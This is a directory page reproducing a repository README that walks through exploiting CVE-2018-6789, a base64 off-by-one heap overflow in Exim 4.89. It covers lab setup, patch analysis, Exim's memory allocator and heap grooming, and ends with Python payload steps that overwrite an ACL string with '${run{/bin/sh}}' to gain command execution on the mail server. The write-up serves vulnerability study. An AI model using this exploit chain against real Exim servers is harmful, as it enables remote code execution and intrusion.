Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-6789 | Kitploit
Tools/GitHubGitHub/beraphin/cve-2018-6789
Vulnerability AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubberaphin/cve-2018-6789

CVE-2018-6789

View Repository
316 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-6789

Environment Setup

Install dependencies

root@kitploit:~
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Download an old version of exim

root@kitploit:~
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

Then modify Local/Makefile For convenience, point all directories to the current directory

root@kitploit:~
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

This is convenient for debugging Then compile and install

root@kitploit:~
make install

Modify ./configure, overwrite with the content below

root@kitploit:~
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

Running

root@kitploit:~
./bin/exim -bd -d-receive

Vulnerability Analysis

First, analyze the patch in base64.c: 1 Here, result is the buffer where the base64 decoding result is stored, allocated by the store_get function.

It can be seen that the size calculation before the patch is problematic. When the size is in the range of 4n to 4n+3, the calculated size lengths are equal, but when b64decode decodes parameters that are not multiples of 4, it decodes one or two extra bytes.

For example, sending directly:

root@kitploit:~
auth_md5('Hf'*42)

size=0x40 Memory layout:

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Try again:

root@kitploit:~
auth_md5('Hf'*42+'HfH')

size=0x40

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Two bytes overflowed.

Exim Memory Management Mechanism

To improve performance, exim implements its own memory management mechanism on top of the original heap management. It acts as an intermediate buffer between the code and glibc, aiming to reduce the number of malloc and free calls. 2 For exim, a separate heap chunk is called a storeblock. Each time, a buffer of appropriate size is split from within it for use. If a storeblock is used up, another storeblock is allocated via malloc. For each storeblock, its structure is a simple singly linked list:

root@kitploit:~
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

The main APIs used by the program for heap are in store.c:

root@kitploit:~
store_get
store_release
store_extend
store_reset

store_get is used to obtain a buffer, key code as follows:

root@kitploit:~
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

It can be seen that the minimum length of a store_block applied each time is STORE_BLOCK_SIZE, i.e., 8192.

Therefore, a 8192-byte store_block, plus its structure header and heap header, has a total size of 0x2020. 3

Each time exim executes a command sent by the client, if the command execution is successful, it calls store_reset to release unnecessary caches and excess store_blocks. "Successful execution" here means the command format is correct, the email does not contain illegal characters, etc., otherwise store_reset is not called.

Exploit Strategy

This vulnerability is a classic off-by-one (though actually two bytes can overflow), but because the overflowed bytes are few, it is not possible to directly overwrite sensitive structures on the heap. Therefore, it is necessary to leverage some ptmalloc features to amplify the impact of this vulnerability and turn it into a larger overflow, or overlap. For off-by-one vulnerabilities, there is a classic exploitation method: chunk enlarge -> chunk overlap. By enlarging the size of a heap chunk and then forging a heap header to bypass glibc sanity checks, chunk overlap is achieved, allowing a larger range of overwrite.

The main process here is: chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock, then trigger store_reset to cause an arbitrary heap chunk free. When this heap chunk is allocated again, its content can be modified (type confusion). Meh's article recommends modifying the heap chunk where the ACL string resides, because there is a command execution function in the processing of ACL strings. There are many ACL strings, but most are NULL (possibly related to the configuration file). Here, I chose the acl_smtp_mail string, whose command execution syntax is:

root@kitploit:~
${run{command}}

The approximate heap layout is as follows: 4

The first heap chunk is the one obtained from base64 decoding, used for off-by-one. Therefore, it should be at the end of a storeblock. For convenience, allocate a heap chunk larger than 0x2020 to store the base64 decoding result. The second heap chunk is sender_helo_name, used to overwrite the next heap chunk. sender_helo_name is not stored in a storeblock but directly malloced:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

So its size is arbitrary. The third heap chunk is the one obtained from base64 decoding, mainly used to forge the header and be overwritten. Therefore, it should be at the beginning of a storeblock. For convenience, directly allocate 0x2020 bytes.

Exploit

My exploit was also obtained step by step following online analysis. The general idea is the same, but the heap layout is a bit different from others, so some small parameters are different.

First, generate an unsorted bin of size 0x6060. This can be achieved with the following command:

root@kitploit:~
ehlo('a'*0x1000)

When exim receives "EHLO "+'a'*0x1000, it generates the following three strings in the match_check_list function in match.c:

root@kitploit:~
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
where *name* is 'a'*0x1000

Since the name length is 0x1000, each string occupies a separate storeblock, so these three strings are located in three consecutive storeblocks. When exim successfully completes the EHLO command, it frees the previous three strings in smtp_setup_msg in smtp_in.c, resulting in a 0x6060-byte heap chunk:

root@kitploit:~
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

At this point, the heap layout is as follows: 5

To place sender_helo_name in the middle of the heap chunk, we need to free the original sender_helo_name, then occupy the top heap chunk. After the second sender_helo_name occupies its place, free the top heap chunk. Here, I use an unrecognized command for occupation. Because receiving an unrecognized command means command execution failed, and it will be automatically freed after the next successful execution. Note: The principle of using an unrecognized command for occupation is that after sending a command to exim, exim calls synprot_error to report an error, similar to:

root@kitploit:~
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****

But if the command consists entirely of visible characters, exim will not malloc a new heap chunk for it:

root@kitploit:~
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

If the command contains non-printable characters, exim will allocate a new buffer and convert the non-printable characters to octal strings, e.g., '\xee' -> "\356". This is the origin of length + (nonprintcount * 3 + 1).

So first, place sender_ehlo_name in a small heap chunk, then try sending 0x800 '\xee' characters. This will allocate 0x800 + 1 + 0x800 * 3 = 0x2001 bytes. The current storeblock does not have such a large space, so a new store_block will be allocated.

root@kitploit:~
ehlo('b'*0x20)
unrec('\xee'*0x800)

6

Then allocate a sender_elho_name of size 0x2010:

root@kitploit:~
ehlo('x'*0x2020)

This will first free the previous 0x20 sender_elho_name:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

Then allocate a new sender_helo_name. After everything is done, call store_reset to clear unnecessary heap chunks. The 0x2020-byte error message will be freed and merge with the already freed sender_helo_name via malloc_consolidate, forming a new 0x2050-byte heap chunk: 7

At this point, the heap layout is basically complete. Then directly occupy and trigger the vulnerability:

root@kitploit:~
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

Occupy the top heap chunk, overflow one byte to change the size from 0x2021 to 0x20f1. Then occupy the bottom heap chunk, forge a size of 0x1f61 to point to the next heap chunk:

root@kitploit:~
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

Allocate another heap chunk here, because otherwise the overwritten storeblock is the last storeblock, and its next is null:

root@kitploit:~
auth_md5(b64encode('a'*0x1000))

Now, we can free sender_helo_name to cause chunk overlap. However, there is a point to note: we still need the bottom heap chunk to provide the next pointer (we overwrite it to achieve arbitrary free address), so we do not want this heap chunk to be freed. Thus, we can construct an invalid name to free only sender_helo_name:

root@kitploit:~
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

If check_helo fails, the program will break out of the loop and will not call store_reset. Let's look at the code logic of check_helo:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }

It can be seen that check_helo checks the characters sent: they must be letters or certain punctuation, or in helo_allow_chars. Generally, helo_allow_chars is empty (should be configured in the configuration file). So we can construct a sender_helo_name containing a space:

root@kitploit:~
ehlo('pwn it!')   #must include some invalide chars

This creates a chunk overlap. Then occupy this chunk to overwrite the next pointer to point to the heap chunk where the ACL string resides. There is a problem here: other exploits use partial overwrite to bypass ASLR, but that didn't work in my environment because the ACL heap chunk and the heap chunk pointed to by next are far apart:

root@kitploit:~
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

Therefore, my exploit uses an absolute address:

root@kitploit:~
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

This adds the heap chunk where the ACL string resides to the chain of this store_block. When we change the sender_helo_name, these heap chunks will all be freed in store_reset. So this time, send a valid name:

root@kitploit:~
ehlo('I'*16)

Now, when we allocate a heap chunk, we will get the heap chunk where the ACL string resides:

root@kitploit:~
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

Here, I overwrite the address pointed to by acl_smtp_mail. Basically, all ACL strings are in this heap chunk because these strings are read one by one from the configuration file and placed into a buffer obtained by store_get. Therefore, they are all stored consecutively in this storeblock. Finally, call the ACL-related API:

root@kitploit:~
r.sendline('MAIL FROM: <[email protected]>')

Then, in smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid, execve is called to execute the command in run. The server debug information below shows that the command was indeed executed: 8

Reference

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

Download Tool